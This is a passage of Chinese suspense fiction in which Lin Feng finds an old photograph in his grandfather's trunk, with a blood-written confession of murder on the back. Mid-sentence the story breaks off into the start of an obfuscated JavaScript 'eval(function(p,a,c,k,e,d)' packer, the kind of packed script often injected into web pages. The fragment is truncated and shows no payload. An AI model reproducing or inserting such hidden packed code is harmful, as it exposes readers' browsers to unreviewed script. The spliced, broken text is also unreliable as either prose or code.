箱子里没什么值钱的东西,几件旧衣裳,一把生锈的剪刀,几本泛黄的账册。林峰正要合上盖子,指尖碰到了箱子底部的暗格——一块松动的木板。他把它掀起来,下面压着一张折叠整齐的照片。
手电的光落在照片上,林峰的手指开始发抖。
这是张黑白照片,边角发黄起毛,至少四十年前的老东西。照片里五个人——不,四个人。爷爷站在正中间,三十出头的样子,穿着一件洗得发白的军绿色外套,表情僵硬。
他身边站着三个男人,个头差不多,都穿着那个年代常见的蓝布衫。他们身后是一棵歪脖子槐树,槐树后面是一口漆黑的古井。井口用青砖砌成,没有护栏,像一个张开的黑洞,在照片里显得格外刺目。
林峰把照片翻过来,手电的光扫过背面。几个暗红色的字迹歪歪扭扭地排列着,像是用指甲蘸着血写上去的:“第三个是我杀的,你猜,谁是第三个?”
血字已经氧化成铁锈色,但每一笔都清晰得触目惊心。林峰盯着那行字看了足足半分钟,忽然想起一件事——爷爷去世前最后那半个月,神志已经完全不清了。
他总是半夜突然坐起来,眼睛瞪得溜圆,指着病房门口喊“报仇”。护士说是老年谵妄,家属不要紧张。林峰当时信了。
可此刻他看着照片上的血字,耳畔仿佛又响起爷爷最后那句含混不清的呢喃,那声音像从很深很深的地方钻上来,带着井底的寒气。
他翻身爬起来,手电差点脱手。他得找人问清楚——爷爷那些老兄弟里,还有一个活着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return